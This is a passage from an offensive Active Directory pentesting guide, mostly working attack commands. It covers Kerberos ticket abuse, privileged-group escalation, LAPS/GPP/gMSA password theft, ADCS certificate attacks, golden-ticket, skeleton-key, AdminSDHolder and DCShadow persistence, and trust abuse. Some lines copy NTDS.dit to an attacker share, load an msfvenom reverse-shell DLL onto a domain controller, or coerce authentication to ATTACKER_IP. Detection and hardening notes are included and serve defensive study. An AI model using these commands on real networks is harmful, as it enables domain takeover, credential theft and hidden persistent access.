# A new cmd.exe opens with the target user's token

Pass-the-Ticket (PtT)

# Use a Kerberos ticket instead of password/hash
# First, export tickets from memory:
mimikatz# sekurlsa::tickets /export
# Or use Rubeus:
Rubeus.exe dump /nowrap

# Inject ticket into current session (Windows)
mimikatz# kerberos::ptt ticket.kirbi
Rubeus.exe ptt /ticket:BASE64_TICKET

# From Linux β€” set the ccache file
export KRB5CCNAME=/tmp/admin.ccache
impacket-psexec -k -no-pass domain.htb/[email protected]

# Convert between formats
impacket-ticketConverter ticket.kirbi ticket.ccache  # kirbi β†’ ccache
impacket-ticketConverter ticket.ccache ticket.kirbi  # ccache β†’ kirbi

Overpass-the-Hash (Pass-the-Key)

Convert an NTLM hash into a Kerberos ticket, then use the ticket. This bypasses defenses that block NTLM but allow Kerberos.

# Mimikatz β€” request TGT using the hash
mimikatz# sekurlsa::pth /user:admin /domain:domain.htb /ntlm:HASH /run:powershell.exe
# The new PowerShell session has a Kerberos TGT, not an NTLM token

# Rubeus
Rubeus.exe asktgt /user:admin /domain:domain.htb /rc4:HASH /ptt

# Impacket β€” get TGT
impacket-getTGT domain.htb/admin -hashes :HASH
export KRB5CCNAME=admin.ccache
impacket-psexec -k -no-pass domain.htb/[email protected]
πŸ’‘ Pro tip: Many organizations disable NTLM but leave Kerberos open. Overpass-the-Hash converts your NTLM hash to a Kerberos ticket, bypassing NTLM restrictions. Also useful against hosts that have SMB signing required β€” Kerberos auth works fine with SMB signing.

⬆️ Privilege Escalation in AD

Beyond the standard Windows priv esc techniques, Active Directory has domain-specific escalation vectors based on group memberships, misconfigurations, and legacy features.

Dangerous Group Memberships

These groups grant powerful privileges that can be abused for escalation β€” even if they don't look like "admin" groups:

# ═══ Backup Operators ═══
# Can back up any file on the system, including SAM, SYSTEM, NTDS.dit
# Abuse: Dump the domain database!

# Use wbadmin to backup NTDS.dit
wbadmin start backup -backuptarget:\\attacker\share -include:C:\Windows\NTDS\ntds.dit -quiet

# Or use robocopy with backup privilege
robocopy /B C:\Windows\NTDS C:\temp ntds.dit

# Or use the SeBackupPrivilege directly
# (import privilege escalation DLLs or use SeBackupPrivilegeCmdLets)
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
Copy-FileSeBackupPrivilege C:\Windows\NTDS\ntds.dit C:\temp\ntds.dit -Overwrite


# ═══ Server Operators ═══
# Can start/stop services, modify service configurations
# Abuse: Modify a service to run your payload as SYSTEM

# Change service binary path to a reverse shell:
sc config VSS binpath="C:\temp\rev.exe"
sc stop VSS
sc start VSS
# You now have SYSTEM

# Or use sc to create a new service:
sc create evil binpath="C:\temp\rev.exe" start=auto
sc start evil


# ═══ DnsAdmins ═══
# Can load arbitrary DLLs into the DNS service (which runs as SYSTEM on the DC)
# Abuse: DLL injection on the Domain Controller!

# Create malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f dll -o evil.dll

# Host on SMB share, then on DC:
dnscmd DC01 /config /serverlevelplugindll \\attacker\share\evil.dll
sc stop dns
sc start dns
# Reverse shell as SYSTEM on the DC!


# ═══ Account Operators ═══
# Can create/modify/delete users and groups (except privileged ones)
# Can log in to DCs
# Abuse: Create new accounts, add to groups, modify ACLs

# Create a new user
net user hacker Pass123! /add /domain

# Add to a non-protected group that has interesting permissions
net group "IT Admins" hacker /add /domain


# ═══ Print Operators ═══
# Can load drivers (kernel code!) on DCs
# SeLoadDriverPrivilege β€” load arbitrary kernel drivers
# Abuse: Load a vulnerable driver, then exploit it for SYSTEM
πŸ’‘ Pro tip: Always check whoami /groups and cross-reference with BloodHound. "Server Operators" and "DnsAdmins" are commonly overlooked during AD hardening but give you a direct path to SYSTEM on the DC.

LAPS β€” Local Administrator Password Solution

LAPS sets unique, rotating local admin passwords on each machine and stores them in AD. If you can read the LAPS attributes, you get local admin on every machine.

# ═══ Check if LAPS is deployed ═══
# Look for the LAPS DLL or check AD schema
Get-DomainObject -SearchBase "CN=Schema,CN=Configuration,DC=domain,DC=htb" | 
  Where-Object {$_.name -like "*ms-Mcs-Adm*"}

# ═══ Read LAPS passwords (PowerView) ═══
Get-DomainComputer -Identity TARGET -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime

# All machines with LAPS passwords you can read:
Get-DomainComputer | Where-Object {$_."ms-Mcs-AdmPwd" -ne $null} | 
  Select-Object name, ms-Mcs-AdmPwd

# ═══ Read LAPS from Linux ═══
# ldapsearch
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'password' -b 'DC=domain,DC=htb' \
  '(objectClass=computer)' ms-Mcs-AdmPwd sAMAccountName

# CrackMapExec
crackmapexec ldap DC_IP -u user -p password -M laps

# pyLAPS
python3 pyLAPS.py --action get -d domain.htb -u user -p password --dc-ip DC_IP

# ═══ LAPS2 (Windows LAPS) β€” newer version ═══
# Stores passwords in msLAPS-Password and msLAPS-EncryptedPassword
# CrackMapExec module handles both LAPS v1 and v2

GPP (Group Policy Preferences) Passwords

Legacy Group Policy Preferences could push local admin passwords to machines. The password was "encrypted" with AES-256... but Microsoft published the key. Any domain user can read the SYSVOL share and decrypt these passwords.

# GPP passwords are stored in XML files in SYSVOL
# \\domain.htb\SYSVOL\domain.htb\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml

# ═══ Manual search ═══
findstr /S /I "cpassword" \\domain.htb\SYSVOL\domain.htb\Policies\*.xml

# ═══ Decrypt with gpp-decrypt ═══
gpp-decrypt "ENCRYPTED_CPASSWORD_HERE"

# ═══ CrackMapExec (automatic) ═══
crackmapexec smb DC_IP -u user -p password -M gpp_password

# ═══ Get-GPPPassword (PowerSploit) ═══
Get-GPPPassword

# ═══ Metasploit ═══
use auxiliary/scanner/smb/smb_enum_gpp
πŸ’‘ Pro tip: Microsoft patched GPP password storage in MS14-025 (2014), but many environments still have old GPP XML files sitting in SYSVOL with cached passwords. Always check β€” it's free domain admin creds on legacy networks.

gMSA (Group Managed Service Accounts) Password Extraction

Group Managed Service Accounts have auto-rotating passwords managed by AD. If you can read the msDS-ManagedPassword attribute, you can extract the password hash.

# ═══ Find gMSA accounts ═══
Get-DomainObject -LDAPFilter '(objectClass=msDS-GroupManagedServiceAccount)'

# ═══ Check who can read the gMSA password ═══
Get-DomainObject -Identity 'gMSA_SVC$' -Properties 'msDS-GroupMSAMembership'

# ═══ Read gMSA password (if you have access) ═══
# PowerShell AD module:
$gmsa = Get-ADServiceAccount -Identity gMSA_SVC -Properties 'msDS-ManagedPassword'
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$mp.SecureCurrentPassword | ConvertTo-NTHash

# ═══ From Linux ═══
# gMSADumper
python3 gMSADumper.py -u user -p password -d domain.htb -l DC_IP

# Impacket + bloodyAD
bloodyAD -d domain.htb -u user -p password --host DC_IP get object 'gMSA_SVC$' \
  --attr msDS-ManagedPassword

πŸ“œ Active Directory Certificate Services (ADCS) Attacks

ADCS is currently the biggest attack surface in Active Directory. Certificate Services issues X.509 certificates that can be used for authentication β€” and misconfigurations in certificate templates can let you authenticate as any user, including Domain Admins. The SpecterOps research paper "Certified Pre-Owned" identified 8 escalation techniques (ESC1-ESC8), with more discovered since.

ADCS Enumeration

# ═══ Certipy (Linux β€” the go-to ADCS tool) ═══
# Find all vulnerable certificate templates
certipy find -u [email protected] -p 'password' -dc-ip DC_IP -stdout

# Output to file for review
certipy find -u [email protected] -p 'password' -dc-ip DC_IP -text -output certipy_results

# ═══ Certify (Windows) ═══
# Find vulnerable templates
Certify.exe find /vulnerable

# List all CAs
Certify.exe cas

# List all templates
Certify.exe find

# ═══ CrackMapExec ═══
crackmapexec ldap DC_IP -u user -p password -M adcs

ESC1 β€” Misconfigured Certificate Templates

The most common and most devastating ADCS vulnerability. A template is vulnerable to ESC1 if:

  • The template allows Client Authentication (EKU)
  • The template has ENROLLEE_SUPPLIES_SUBJECT (requester can specify the SAN β€” Subject Alternative Name)
  • A low-privileged user/group has enrollment rights
# ═══ ESC1 Exploitation ═══
# Request a certificate as Domain Admin (even though you're a normal user!)

# Certipy (Linux)
certipy req -u [email protected] -p 'password' -dc-ip DC_IP \
  -ca 'domain-CA' -template 'VulnerableTemplate' \
  -upn [email protected]

# Certify (Windows)
Certify.exe request /ca:DC01.domain.htb\domain-CA /template:VulnerableTemplate \
  /altname:administrator

# ═══ Authenticate with the certificate ═══
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# Returns the NTLM hash of Administrator!

# Use the hash
impacket-psexec domain.htb/administrator@DC_IP -hashes :HASH

ESC2 β€” Any Purpose or No EKU Templates

Templates with "Any Purpose" EKU or no EKU at all can be used for client authentication. Similar exploitation to ESC1 if the user can supply the SAN.

ESC3 β€” Certificate Request Agent

A template with the "Certificate Request Agent" EKU allows you to enroll for certificates on behalf of other users. Two-step attack: get an enrollment agent cert, then use it to request a cert for another user.

# Step 1: Request enrollment agent certificate
certipy req -u [email protected] -p 'password' -dc-ip DC_IP \
  -ca 'domain-CA' -template 'EnrollmentAgent'

# Step 2: Use it to request a cert as admin on a different template
certipy req -u [email protected] -p 'password' -dc-ip DC_IP \
  -ca 'domain-CA' -template 'User' \
  -on-behalf-of 'domain\administrator' -pfx enrollment_agent.pfx

# Step 3: Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP

ESC4 β€” Vulnerable Template ACLs

If you have write access to a certificate template (GenericAll, GenericWrite, WriteDACL, WriteOwner), you can modify it to make it vulnerable to ESC1.

# Modify the template to enable ENROLLEE_SUPPLIES_SUBJECT and Client Authentication
certipy template -u [email protected] -p 'password' -dc-ip DC_IP \
  -template 'TargetTemplate' -save-old

# Now exploit as ESC1
certipy req -u [email protected] -p 'password' -dc-ip DC_IP \
  -ca 'domain-CA' -template 'TargetTemplate' \
  -upn [email protected]

# Restore original template
certipy template -u [email protected] -p 'password' -dc-ip DC_IP \
  -template 'TargetTemplate' -configuration old_config.json

ESC5 β€” Vulnerable PKI Object ACLs

Write access to CA server, NTAuthCertificates, or PKI container objects can be abused for full ADCS compromise.

ESC6 β€” EDITF_ATTRIBUTESUBJECTALTNAME2 Flag

If the CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled, ANY certificate template can be abused for ESC1-style attacks β€” the requester can always supply an alternative SAN.

# Check for the flag
Certify.exe cas
# Look for: "UserSpecifiedSAN : EDITF_ATTRIBUTESUBJECTALTNAME2"

# Exploit: same as ESC1 but works on ANY template
certipy req -u [email protected] -p 'password' -dc-ip DC_IP \
  -ca 'domain-CA' -template 'User' \
  -upn [email protected]

ESC7 β€” Vulnerable CA ACLs

If you have ManageCA or ManageCertificates rights on the CA, you can approve pending certificate requests or change CA configuration.

# With ManageCA: Enable EDITF_ATTRIBUTESUBJECTALTNAME2, then ESC6
certipy ca -u [email protected] -p 'password' -dc-ip DC_IP \
  -ca 'domain-CA' -enable-template 'SubCA'

# Request cert (will be denied but saved)
certipy req -u [email protected] -p 'password' -dc-ip DC_IP \
  -ca 'domain-CA' -template 'SubCA' \
  -upn [email protected]

# Issue the pending request (with ManageCertificates)
certipy ca -u [email protected] -p 'password' -dc-ip DC_IP \
  -ca 'domain-CA' -issue-request REQUEST_ID

# Retrieve the issued certificate
certipy req -u [email protected] -p 'password' -dc-ip DC_IP \
  -ca 'domain-CA' -retrieve REQUEST_ID

ESC8 β€” NTLM Relay to ADCS Web Enrollment

If the ADCS web enrollment endpoint (certsrv) is accessible and doesn't require HTTPS, you can relay NTLM authentication to request a certificate as the victim.

# This is the PetitPotam + ADCS relay combo from the NTLM Relay section
# Step 1: Start relay
impacket-ntlmrelayx -t http://CA01.domain.htb/certsrv/certfnsh.asp \
  --adcs --template DomainController

# Step 2: Coerce DC authentication
python3 PetitPotam.py ATTACKER_IP DC01.domain.htb

# Step 3: Get certificate, authenticate, DCSync
certipy auth -pfx dc01.pfx -dc-ip DC_IP

ESC9-ESC13+ (Newer Escalations)

Research continues to find new ADCS escalation paths. Stay current with:

  • ESC9: CT_FLAG_NO_SECURITY_EXTENSION β€” msPKI-Enrollment-Flag abuse
  • ESC10: Weak certificate mapping (CertificateMappingMethods registry)
  • ESC11: NTLM relay to ICPR RPC endpoint (certipy relay)
  • ESC13: Issuance policy linked to group β€” OID group linking
πŸ’‘ Pro tip: ADCS attacks are the #1 way pentesters get Domain Admin in 2024-2026. Certipy's find command with -vulnerable flag is the first thing you should run after BloodHound. ESC1 alone accounts for the majority of ADCS wins on real engagements.

πŸ”’ Domain Persistence

You've got Domain Admin. But engagements last days or weeks, and defenders might reset passwords. Persistence techniques ensure you keep access even if your initial vector is closed.

Golden Ticket Persistence

# Forge a TGT that lasts 10 years (or any duration)
mimikatz# kerberos::golden /user:SpecialAdmin /domain:domain.htb \
  /sid:S-1-5-21-XXXX-XXXX-XXXX /krbtgt:KRBTGT_HASH \
  /id:500 /groups:512,513,518,519,520 /ptt

# Notes:
# - Survives password resets of ALL users (except krbtgt)
# - Survives domain controller reboots
# - Only invalidated by resetting krbtgt password TWICE
#   (because the previous password is also valid)
#
# Detection:
# - TGT with abnormal lifetime (default max is 10 hours)
# - TGT encryption doesn't match domain policy
# - Event ID 4769 with unusual ticket options
# - PAC validation failures at the DC

Silver Ticket Persistence

# Forge service tickets for stealthy, targeted access
# Advantages over Golden Ticket: DC is never contacted

mimikatz# kerberos::golden /user:Administrator /domain:domain.htb \
  /sid:S-1-5-21-XXXX-XXXX-XXXX \
  /target:DC01.domain.htb /service:cifs /rc4:MACHINE_HASH /ptt

# Detection:
# - PAC validation checks (if enabled) will fail
# - No corresponding TGT request in DC logs
# - Unusual service ticket without prior TGS-REQ

Skeleton Key

Patches the LSASS process on a DC so that a master password works for ANY domain account, while the original password also continues to work. Users don't notice anything.

# Install Skeleton Key on the DC (requires DA + LSASS access)
mimikatz# privilege::debug
mimikatz# misc::skeleton

# Now "mimikatz" works as a password for ANY account:
impacket-psexec domain.htb/Administrator:mimikatz@DC01

# Real passwords still work too β€” users won't notice

# Limitations:
# - Only in memory β€” doesn't survive DC reboot
# - Must be reinstalled after every reboot
# - Detected by monitoring for LSASS patches
#
# Detection:
# - LSASS memory integrity monitoring
# - Authentication anomalies (same password for multiple accounts)
# - Event ID 4673 (Sensitive Privilege Use)

AdminSDHolder Manipulation

The AdminSDHolder object's ACL is pushed to all protected accounts every 60 minutes by the SDProp process. If you add an ACE to AdminSDHolder, it propagates to every admin account β€” persistent backdoor access.

# Add a backdoor ACE to AdminSDHolder
# This gives your user GenericAll on ALL protected accounts (Domain Admins, etc.)

# PowerView
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=htb' \
  -PrincipalIdentity backdoor_user -Rights All

# Within 60 minutes, SDProp runs and copies this ACE to:
# - Domain Admins
# - Enterprise Admins
# - Schema Admins
# - Administrators
# - Account Operators
# - Etc.

# Now your backdoor user has GenericAll on all admin accounts!
# Reset any admin's password:
net rpc password "Administrator" "NewP@ss!" -U 'domain/backdoor_user%pass' -S DC_IP

# Detection:
# - Monitor ACL changes on AdminSDHolder
# - Event ID 5136 (Directory Service Changes)
# - Regular AdminSDHolder ACL audits

DCShadow

DCShadow registers your machine as a temporary Domain Controller, makes changes directly to AD (replication), then unregisters. Changes bypass normal audit logging because they appear as DC replication.

# DCShadow β€” modify AD objects stealthily
# Requires DA + running on a domain-joined machine

# Terminal 1: Register as a fake DC and push changes
mimikatz# lsadump::dcshadow /object:targetuser /attribute:primaryGroupID /value:512

# Terminal 2: Trigger replication
mimikatz# lsadump::dcshadow /push

# This modifies targetuser's primary group to Domain Admins (RID 512)
# via replication β€” minimal logging!

# Other DCShadow uses:
# - Add SIDHistory to a user
# - Modify ACLs
# - Set SPNs for Kerberoasting
# - Any AD attribute modification

# Detection:
# - Monitor for new DC registrations (DsReplicaAdd events)
# - Unusual replication partners
# - Temporary SPN registrations
# - Event ID 4742 (Computer Account Changed)

Certificate-Based Persistence

# If ADCS exists, request a long-lived certificate
# Certificates survive password changes!

# Request a cert as Domain Admin (valid for 1+ years)
certipy req -u [email protected] -p 'password' -dc-ip DC_IP \
  -ca 'domain-CA' -template 'User'

# Even after password reset, authenticate with the certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP

# Detection:
# - Monitor certificate enrollment events (Event ID 4886, 4887)
# - Regular certificate audit
# - Short certificate validity periods

🌐 Trust Abuse

Active Directory domains can trust each other, allowing users from one domain to access resources in another. These trust relationships can be abused to escalate from one domain to another β€” potentially from a child domain to the entire forest.

Trust Types

# β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
# β”‚                         AD TRUST TYPES                                  β”‚
# β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
# β”‚ Trust Type        β”‚ Direction   β”‚ Notes                                β”‚
# β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
# β”‚ Parent-Child      β”‚ Two-way     β”‚ Automatic between parent/child       β”‚
# β”‚                   β”‚ transitive  β”‚ domains in a forest. ALWAYS exists.  β”‚
# β”‚                   β”‚             β”‚ Can be abused with SID history.      β”‚
# β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
# β”‚ Tree-Root         β”‚ Two-way     β”‚ Between tree roots in same forest.   β”‚
# β”‚                   β”‚ transitive  β”‚ Same abuse potential as parent-child.β”‚
# β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
# β”‚ External          β”‚ One-way or  β”‚ Between domains in DIFFERENT forests.β”‚
# β”‚                   β”‚ two-way     β”‚ Non-transitive. SID filtering may    β”‚
# β”‚                   β”‚ NON-transit β”‚ be enabled (blocks SID history).     β”‚
# β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
# β”‚ Forest            β”‚ One-way or  β”‚ Between forest root domains.         β”‚
# β”‚                   β”‚ two-way     β”‚ Transitive within the forest.        β”‚
# β”‚                   β”‚ transitive  β”‚ SID filtering enabled by default.    β”‚
# β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Enumerate Trusts

# PowerView
Get-DomainTrust
Get-DomainTrust -Domain child.domain.htb
Get-ForestTrust
Get-DomainTrustMapping

# .NET
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# nltest
nltest /domain_trusts /all_trusts

# From Linux
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'pass' -b 'DC=domain,DC=htb' \
  '(objectClass=trustedDomain)' cn trustDirection trustType

Child-to-Parent Domain Escalation (ExtraSIDs / SID History Injection)

This is the classic trust abuse: you're Domain Admin in a child domain and want to escalate to Enterprise Admin in the parent/root domain. The trust key between parent and child allows you to forge an inter-realm TGT with extra SIDs injected into the PAC.

# ═══ The ExtraSIDs Attack ═══
#
# You are DA of: child.domain.htb
# You want EA of: domain.htb (parent)
#
# β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  trust  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
# β”‚  child.domain.htb │◄──────►│   domain.htb    β”‚
# β”‚  (compromised)  β”‚         β”‚   (target)      β”‚
# β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜         β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
#
# The inter-realm trust key lets us forge a ticket
# with the Enterprise Admins SID injected

# Step 1: Get the trust key (from child DC)
mimikatz# lsadump::dcsync /domain:child.domain.htb /user:domain.htb$
# Or:
mimikatz# lsadump::trust /patch

# Step 2: Get the parent domain SID
impacket-lookupsid domain.htb/user:password@PARENT_DC_IP

# Step 3: Forge inter-realm TGT with Enterprise Admins SID

# Mimikatz:
mimikatz# kerberos::golden /user:Administrator /domain:child.domain.htb \
  /sid:S-1-5-21-CHILD-SID \
  /sids:S-1-5-21-PARENT-SID-519 \
  /krbtgt:TRUST_KEY_HASH \
  /ptt

# /sids: β€” Injects Enterprise Admins (RID 519) of parent domain

# Impacket:
impacket-ticketer -nthash TRUST_KEY_HASH \
  -domain child.domain.htb -domain-sid S-1-5-21-CHILD-SID \
  -extra-sid S-1-5-21-PARENT-SID-519 \
  Administrator

export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass domain.htb/Administrator@PARENT_DC.domain.htb

# Step 4: You now have Enterprise Admin access to the parent domain!
# DCSync the parent:
impacket-secretsdump -k -no-pass domain.htb/Administrator@PARENT_DC.domain.htb

Cross-Forest Attacks

# Cross-forest attacks are harder due to SID filtering
# (blocks SIDs from outside the trusted forest)

# However, you can still:

# 1. Access resources explicitly shared across the trust
# Enumerate with:
Get-DomainForeignGroupMember -Domain target.forest
Get-DomainForeignUser -Domain target.forest

# 2. Kerberoast across trust
impacket-GetUserSPNs -target-domain target.forest \
  domain.htb/user:password -dc-ip DC_IP -request

# 3. If SID filtering is misconfigured or disabled:
#    Same ExtraSIDs attack as parent-child
#    (rare but check!)
πŸ’‘ Pro tip: SID filtering is the defense against ExtraSIDs attacks across forest trusts. But within a forest (parent-child trusts), SID filtering is NOT applied β€” making child-to-parent escalation trivially exploitable with the trust key. If you own any child domain, you own the entire forest. This is by design β€” Microsoft considers the forest (not the domain) to be the security boundary.

πŸ›‘οΈ Active Directory Hardening & Defense

Understanding blue team defenses makes you a better pentester. If you know what defenses are in place, you can identify which attacks will work and which will get caught. Here's what mature organizations deploy β€” and how it affects your attack surface.

Protected Users Group

# Members of "Protected Users" get these restrictions:
# - NTLM authentication is BLOCKED (no pass-the-hash!)
# - Kerberos delegation is BLOCKED
# - Kerberos ticket lifetime reduced to 4 hours (not 10)
# - DES/RC4 encryption not allowed (only AES β€” Kerberoasting is harder)
# - CredSSP plaintext credential caching disabled
# - WDigest is blocked (no plaintext in LSASS)

# Impact on attackers:
# - Can't relay NTLM for Protected Users
# - Can't PtH for Protected Users
# - Kerberoasting returns AES-only tickets (much slower to crack)
# - Can't use delegation attacks involving Protected Users

# Bypass: Protected Users only applies to DOMAIN authentication.
# Local accounts are not affected.
# Also: if you already have DA, you can remove users from this group.

Credential Guard

# Windows Credential Guard uses virtualization-based security (VBS)
# to isolate LSASS in a separate VM (LSAIso.exe)
#
# Impact:
# - Mimikatz sekurlsa::logonpasswords FAILS
# - Can't dump plaintext passwords from LSASS
# - NTLM hash extraction is blocked
# - Kerberos ticket extraction from memory is blocked
#
# What still works:
# - DCSync (doesn't touch LSASS)
# - SAM database dumping
# - NTDS.dit extraction
# - Kerberoasting (doesn't need LSASS)
# - ADCS attacks
# - Service account password cracking
# - Most AD-level attacks (Credential Guard only protects local LSASS)

Tiered Administration Model

# Microsoft's recommended admin model:
#
# Tier 0 β€” Domain Controllers, AD admin accounts
#   β†’ Only Tier 0 admins can log into Tier 0 systems
#   β†’ Tier 0 accounts NEVER log into Tier 1 or Tier 2
#
# Tier 1 β€” Servers, enterprise applications
#   β†’ Server admins, app admins
#   β†’ Can't access Tier 0 or Tier 2
#
# Tier 2 β€” Workstations, user devices
#   β†’ Helpdesk, workstation admins
#   β†’ Can't access Tier 0 or Tier 1
#
# Impact on attackers:
# - Can't steal Tier 0 creds from workstations (they never log in there)
# - Lateral movement is blocked between tiers
# - Must find a path WITHIN the tier, then escalate tier-by-tier
#
# Reality: Most orgs implement this poorly.
# Domain Admins still log into workstations "just this once"
# β†’ Their creds get cached β†’ You dump LSASS β†’ Game over

Additional Defenses

# ═══ LAPS (Local Administrator Password Solution) ═══
# Unique, rotating local admin passwords per machine
# Impact: Can't reuse local admin creds across machines
# Bypass: Read LAPS password if you have permission (see LAPS section)

# ═══ SMB Signing Required ═══
# Blocks NTLM relay attacks via SMB
# Impact: Can't relay SMB to SMB
# Bypass: Relay to other protocols (LDAP, HTTP, ADCS web enrollment)

# ═══ LDAP Signing / Channel Binding ═══
# Blocks NTLM relay to LDAP
# Impact: Can't relay to LDAP for RBCD/DCSync
# Bypass: Relay to other services

# ═══ Disabling NTLM ═══
# Force Kerberos-only authentication
# Impact: No pass-the-hash, no NTLM relay
# Bypass: Overpass-the-hash (convert hash to Kerberos ticket),
#   Kerberos-based attacks still work

# ═══ Microsoft Defender for Identity (MDI) / ATA ═══
# Monitors DC traffic for known attack patterns
# Detects: DCSync, Golden Ticket, Kerberoasting, pass-the-hash,
#   NTLM relay, AS-REP roasting, BloodHound collection
# Impact: Your attacks get flagged and alerts fire
# Bypass: Stealthier variants (Diamond Ticket vs Golden Ticket),
#   slower Kerberoasting, targeted vs mass collection

# ═══ Honeypot Accounts ═══
# Fake service accounts with SPNs that look tempting
# If you Kerberoast them β†’ alert fires
# Look for: accounts with no real service, recently created,
#   suspicious names like "svc_backup_old"

# ═══ Windows Event Forwarding (WEF) ═══
# Centralized log collection from all domain machines
# Key Event IDs:
# 4624 β€” Logon (Type 3=network, Type 10=RDP)
# 4625 β€” Failed logon
# 4648 β€” Explicit credential logon
# 4672 β€” Special privilege logon
# 4768 β€” TGT request (AS-REQ)
# 4769 β€” TGS request (Kerberoasting detection)
# 4771 β€” Kerberos pre-auth failed (AS-REP roasting detection)
# 4776 β€” NTLM authentication
# 4688 β€” Process creation (with command line logging)
# 5136 β€” Directory Service Changes (ACL modifications)
# 7045 β€” New service installed (PsExec detection)
πŸ’‘ Pro tip: On a real engagement, check early whether the target has MDI/ATA deployed. Your first Kerberoasting attempt will trigger an alert. If MDI is present, be selective β€” Kerberoast only specific high-value targets, not every SPN in the domain. Use /user:specific_target instead of mass collection.

⛓️ Common AD Attack Chains

Individual techniques are building blocks. Real-world compromises chain multiple techniques together. Here are realistic attack chains from initial foothold to Domain Admin, as seen on actual penetration tests.

Chain 1: Password Spray β†’ Kerberoast β†’ ACL Abuse β†’ DCSync

# ═══ ATTACK CHAIN 1 ═══
# Difficulty: Medium | Stealth: Medium | Reliability: High
#
# β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
# β”‚  Password    │──►│ Kerberoast   │──►│  ACL Abuse   │──►│   DCSync     β”‚
# β”‚  Spray       β”‚   β”‚ svc_sql      β”‚   β”‚ WriteDACL on β”‚   β”‚ All hashes   β”‚
# β”‚  β†’ jsmith    β”‚   β”‚ β†’ crack hash β”‚   β”‚ Domain Adminsβ”‚   β”‚ β†’ DA!        β”‚
